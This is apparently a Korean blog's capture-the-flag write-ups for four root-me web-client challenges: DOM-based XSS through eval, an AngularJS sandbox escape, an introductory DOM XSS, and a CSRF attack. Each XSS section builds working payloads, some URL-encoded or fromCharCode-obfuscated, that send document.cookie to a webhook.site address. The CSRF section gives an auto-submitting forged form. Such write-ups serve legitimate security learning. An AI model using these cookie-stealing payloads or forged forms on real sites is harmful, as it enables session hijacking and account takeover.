Problem

How-to-solve

XSS DOM Based - Introduction과 비슷한 환경을 확인 할 수 있다.

우선 아무 값이나 집어 넣은 후 코드를 확인해보겠다.

숫자로 구성된 계산식을 사용해야 한다는 것을 알 수 있다.

그러면 계산식을 사용한 후 소스를 다시 보도록 하겠다.

아래에 계산식이 완성되어 축력되는 것을 확인할 수 있다.

그러면 소스코드를 확인해보도록 하겠다.

소스코드를 확인해보면 eval함수 안에 입력값이 삽입되고 그 값은 result로 할당되는 것을 확인할 수 있다.

아래에 document에서 계산식의 결과를 result함수로 출력하는 것을 확인할 수 있다.

그러면 여기에서 스크립트를 실행시킬 수 있는지 확인을 해봐야 한다.

1+2+<script>alert(1)</script>

기본script를 사용했는데 ()가 필터링되고 있는 것을 확인할 수 있다.

이런 경우 `(백쿼터)를 사용해서 ()를 대체할 수 있기 때문에 사용해서 시도해보도록 하겠다.

1+2+<script>alert`1`</script>

위의 스크립트를 사용해서 시도하였으나 <>가 필터링되어 삭제된 것을 확인할 수 있다.

여기에서 eval내에 코드를 삽입할 때 위의 코드에서 script가 삽입되었기 때문에 다시 삽입할 필요가 없음을 알 수 있다.

이런경우 alert`1`만을 사용해서 시도해보도록 하겠다.

1+2+alert`1`

위의 코드가 실행되어 경고창이 발생하는 것을 확인할 수 있다.

다만 포인트는 발견하였으나 admin이 접근하였을 경우 어떻게 cookie값을 전송하도록 할지는 많이 어려웠다.

소스코드를 확인해보면 `(백쿼터)를 통해 escape되고 result값이 출력되면서 실행되는 것을 확인할 수 있다.

(여기에서 엄청나게 삽질을 했다.)

1+2+alert`document.cookie`

위의 코드를 삽입했을 경우 발생하는 경고창이다.

cookie값이 획득되는 것이 아닌 문자열로 인식하여 출력되는 것을 확인할 수 있다.

해당 경우 쿠키값을 출력하는 방법에 긴 시간을 쏟았다.

1+2+document.write`${document.cookie}`

해당 명령어를 통에 result가 출력되면 HTML 내에 cookie값이 출력되는 것을 확인할 수 있었다.

(여기에서 시행착오가 괸장히 많았다.)

HTML에 출력된것을 보고 스크립트를 넣어 많은 시도를 하였다.

1+2-location.replace` https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=.concat {document.body.innerHTML}`

위와 같은 script를 삽입하여 시도하였으나 실행되지 않거나 ,만 출력되어 cookie값이 전달되지 않았다.

그러던 중 eval에서는 ,를 통해 명령어를 다중으로 삽입이 가능함을 알았다.

1+2,location.replace`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`,document.write`${document.cookie}`

위와 같은 스크립트를 활용해서 삽입을 시도하였다.

하지만 뒤에 쿠키값을 출력하도록 삽입하였으나 출력이 되지 않았다.

webhook에 전달된 값을 확인해봐도 cookie가 전달되지 않는 것을 확인할 수 있다.

매개변수를 실행시킬 수 있는 방법을 찾아야했다.

browser console에서 실행했을 경우 cookie값이 전달되는 방법을 찾았다.

eval(3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke)

정말 순간 몸이 짜릿했다.

위의 코드에서 변수(rokefoke)로 지정해서 location이 될 URL과 cookie값을 print할 수 있도록 뒤에 삽입하여 준다.

그럼 rokefoke의 변수에는 https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag= `+document.cookie가 할당되는데 이 때 해당 URL을 실행하기 위해 script를 사용하면 eval내에서 한 공간에 두개의 함수가 삽입되므로 실행이 되지 않았다.

다만 변수로 지정해서 location으로 직접 할당하면 document.cookie가 탈취가 가능했다.

그러면 시도해보겠다.

이 페이지가 잠시 나오는 것을 확인할 수 있다.

다만 result값을 보면 3만 출력되고 뒤의 값은 출력되지 않은 것을 확인할 수 있다.

이후 위의 화면으로 Redirect되며 flag변수에 cookie값이 작성되는 것을 확인할 수 있다.

그러면 admin에게 보내보도록하자.

http://challenge01.root-me.org/web-client/ch34/index.php?calculation=3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke

위의 코드를 삽입하여 전달하였다.

하지만 한참이 지나도 admin의 cookie값은 오지 않았다.

생각을 하다가 main에서 직접 URL에 삽입을 시도해보았다.

http://challenge01.root-me.org/web-client/ch34/index.php?calculation=3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke

URL에 위와같이 삽입하였으나 실행이 되지 않았다.

이 때 URL에 삽입하여 실행이 되기위해서 URL인코딩을 해야함을 알게되었다.

해당 script를 URL인코딩한 후 calculate에 삽입하여 공격을 시도하였다.

http://challenge01.root-me.org/web-client/ch34/index.php?calculation=%33%2b%33%2c%72%6f%6b%65%66%6f%6b%65%3d%60%68%74%74%70%73%3a%2f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%64%39%33%34%37%31%39%36%2d%34%38%66%31%2d%34%62%64%38%2d%62%32%61%30%2d%34%34%65%31%63%33%61%66%61%64%65%31%2f%3f%66%6c%61%67%3d%60%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%2c%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%72%6f%6b%65%66%6f%6b%65

정상적으로 삽입된 것을 확인할 수 있었다.

그러면 이제 webhook으로 쿠키값이 오기를 기다려보겠다.

 

중요하게 알게 된 것!

1) eval 내 +와 -를 확용하여 간단한 script삽입이 가능하다.

2) eval은 location.href를 통한 redirect도 가능하지만 location.replace``를 통한 redirect가능하다.

3) location.replace는 함수 두개를 한번에 사용하기는 어렵다.

4) eval 함수 내 ,(쉼표)를 통해 분리하여 여러개의 명령어 삽입이 가능하다.

5) 변수를 지정하여 함수 삽입 시 간접 호출이 가능하다.

 

요즘 풀었던 문제 중 가장 재밌었다ㅋㅋ

 

끝!

Problem

How-To-Solve

우선 SPA(Single Page Application)을 먼저 알고 시작하면 좋다.

SPA는 하나의 웹페이지가 실행될 때 View 단에서 페이지의 주소가 바뀌지 않고 그 상태로 새로운 View를 가져와 사용할 수 있는 것을 말한다.

이러한 SPA를 사용하기 위해서 javascript framework를 사용하는데 이중 하나가 AngularJS이다.

그 이외에 MV*같은 프레임워크도 참조하면 좋은데 아래에 링크를 달아두겠다.

참고하면 좋다.

https://www.w3schools.com/angular/ 

 

AngularJS Tutorial

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

설명은 간단하게 이정도면 충분하다고 생각한다.

 

AngularJS는 스크립트 삽입 방법이 기존 XSS와는 조금 다르다.

{} <---------중괄호를 겹쳐서 사용하는 편이고 escape할 때 browser console의 명령어와 비슷한 부분이 많다.

 

아래의 링크를 참고하면 도움이 될거다.

 

무튼 이제 flag를 찾아보자.

우선 기본적인 특수문자를 삽입해서 필터링이 어떻게 되는지 보자.

잘 보이진 않겠지만 위에서 '(싱클쿼터), <, >가 필터링 된 것을 확인할 수 있다.

소스코드를 확인해봐도 싱클쿼터가 삽입되지 않고 escape가 되지 않은 것을 확인할 수 있다.

이럴 경우 Angular Bypass를 통해 시도하는 것이 좋다.

가장 많이 사용하는 코드 중 cookie값을 탈취하는 방식으로 시도해보도록 하겠다.

{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41))()}}

위에보이는 코드를 삽입해서 실행해주었다.

여기에서 이상한 것은 숫자로 삽입한 부분인데 코드가 js형태로 삽입되며 fromCharCode를 활용해 우회하였기 때문에 ASCII코드로 변환하여 삽입해주었기 때문이다.

위의 그림과 같이 encode해주어 시도하였다.

 

이처럼 위와같은 방식으로 script삽입을 시도할 수 있을 것이다.

그러면 전과 같은 script를 삽입해서 contact로 admin에게 공격을 시도해보도록 하겠다.

아스키코드로 변환하였다.

코드 작성을 완료하였다.

 

http://challenge01.root-me.org/web-client/ch35/index.php?name={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 119, 101, 98, 104, 111, 111, 107, 46, 115, 105, 116, 101, 47, 100, 57, 51, 52, 55, 49, 57, 54, 45, 52, 56, 102, 49, 45, 52, 98, 100, 56, 45, 98, 50, 97, 48, 45, 52, 52, 101, 49, 99, 51, 97, 102, 97, 100, 101, 49, 47, 63, 102, 108, 97, 103, 61, 39, 46, 99, 111, 110, 99, 97, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41, 59))()}}

위의 코드가 정상적으로 admin에게 발송된 것을 확인할 수 있다.

 

이제 admin이 확인하기를 기다리면 된다.

'Wargame > root me' 카테고리의 다른 글

[Web - Client] XSS DOM Based - Eval  (1) 2023.04.08
[Web - Client] XSS DOM Based - Introduction  (0) 2023.04.06
[Web - Client] CSRF - 0 protection  (0) 2023.04.05
[Web-Client] CSP Bypass - Inline code  (0) 2023.04.04
[Web - Clinet] XSS - Stored 1  (0) 2023.04.03

Problem

How-To-Solve

우선 Dom-Based면 페이지에서 어떻게 실행되는지 확인해봐야 한다.

그러면 Number란에 aaaaa를 넣어서 어떻게 실행되는지 확인해본다.

실행되는 형식은 확인되었고 소스코드 내에서 어떻게 실행되었는지 확인해본다.

위와같이 실행되는 것을 확인할 수 있다.

' <---------- 싱글쿼터로 실행되고 있으므로 싱글쿼터를 확용해서 script내에서 XSS를 시도해본다.

';alert(1);'

위 사진을 보면 '를 활용해서 escape한 후 alert를 실행시키는 방식으로 XSS를 실행시켰다.

같은 방법으로 시도해볼 수 있는데 해당 필드가 javascript이고 '를 이용하여 redirect해야하는 방식으로 시도해야 하기 때문에 document.location.href를 활용하여 작성해보고자 한다.

';document.location.href='https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag='.concat(document.cookie);//

location을 활용한 script를 작성하였다.

위의 스크립트를 실행하면 정상적으로 redirect가 되는지 위의 화면에서 확인해보도록 한다.

위의 URL을 보면 webhook으로 redirect되면서 flag필드에 cookie값이 들어간 것을 확인할 수 있다.

이와 같은 방법으로 concat에서 admin에게 URL을 전달해서 flag를 얻을 수 있을 것이다.

http://challenge01.root-me.org/web-client/ch32/index.php?number=%27%3Bdocument.location.href%3D%27https%3A%2F%2Fwebhook.site%2Fab580156-832c-44bb-be26-9fd6395823c9%2F%3Fflag%3D%27.concat%28document.cookie%29%3B%2F%2F

script를 작성한 루 url을 전달했다.

이제 기다리면 된다.

끝!

'Wargame > root me' 카테고리의 다른 글

[Web - Client] XSS DOM Based - Eval  (1) 2023.04.08
[Web - Client] XSS DOM Based - AngularJS  (0) 2023.04.07
[Web - Client] CSRF - 0 protection  (0) 2023.04.05
[Web-Client] CSP Bypass - Inline code  (0) 2023.04.04
[Web - Clinet] XSS - Stored 1  (0) 2023.04.03

Problem

How-To-Solve

우선 ID를 만들어준 후 내부를 확인해보자.

ID는 rokefoke로 작성하였다.

Profile화면이다.

Provate화면이다.

Contact화면이다.

 

우선 Update Profile을 하기 위해 전에 사용했던 disable을 제거한 후 시도하여보았다.

거절당하는 것을 확인할 수 있다.

그러면 contact에서 메일을 통해 CSRF를 시도하는 것이 좋아보인다.

우선 그전에 어떤 방식으로 script를 작성하는 것인가와 Profile에서 Submit을 시도했을 때 어떻게 요청하는지 확인해보도록 하겠다.

Update Profile을 요청할 때 username과 chackbox 값을 전달하는 것을 확인할 수 있다.

post로 요청을 하는데 이 때 multipart/form-data로 enctype이 설정되어 지는 것을 확인할 수 있다.

 

그러면 여기에서 알 수 있는 것은 일반 user의 권한으로 Update Profile은 불가능하고 admin권한으로 가능하다는 것을 알 수 있다.

그렇다면 admin권한이 부여될 경우 Private에서 flag를 확인할 수 있을 것 같다.

이 때 Contact를 사용하여 admin이 받은 메일에 접근한다는 설정이 가능해진다.

 

그렇다면 두가지 방향으로 생각을 해볼 수 있는데 직접 패킷을 발송하여 접근하는 방식과 admin이 메일에 접근한다는 가정하에 버튼을 눌러서 요청을 보내는 것과 접근하면 자동으로 요청하도록 작성하는 방법이 있다.

 

첫번째 방법은 직접 패킷을 발송하는 것과 큰 차이가 없으므로 직접 시도해본다.

<form action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="rokefoke">
<input type="checkbox" name="status" checked>	
<button type="submit">Submit</button>
</form>

위와 같은 CSRF 코드가 작성이 가능할 것이다.

 

다만 위에서의 방식은 직접 버튼을 눌러 실행하는 방식으로 CSRF공격을 시도하는 것이다. 

페이지는 이렇게 작성된다.

로그인 후 시도를 할 경우 위와 같은 화면을 확인할 수 있다.

이것으로 확인할 수 있는 것은 직접 접근을 통해 Update Profile을 실행하는 것은 되지않는 다는 것을 알 수 있다.

 

그러면 두번째로 admin에게 메일을 보내 실행시키는 방식으로 시도해보겠다.

<form action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data" id="rokefoke">
<input type="text" name="username" value="rokefoke">
<input type="checkbox" name="status" checked>	
<script>javascript:document.getElementById("rokefoke").submit();</script>
</form>

코드는 위와 같이 작성된다.

전의 코드와의 차이점은 submit을 버튼으로 작성하여 누르면 요청이 보내지는 것과 접근만으로 요청이 보내지는 차이가 있다.

요청 ID값을 추가하여 진행하였다.

메일을 보내면 아래에 메일이 보내졌으며 admin이 나중에 너랑 컨택할거다 라고 쓰여있는 것을 확인할 수 있다.

보내고 바로 확인하면 Private에서 이렇게 뜨는 것을 확인할 수 있다.

하지만 조금 기다리면 위의 그림처럼 flag가 뜨는 것을 확인할 수 있다.

 

끝!

+ Recent posts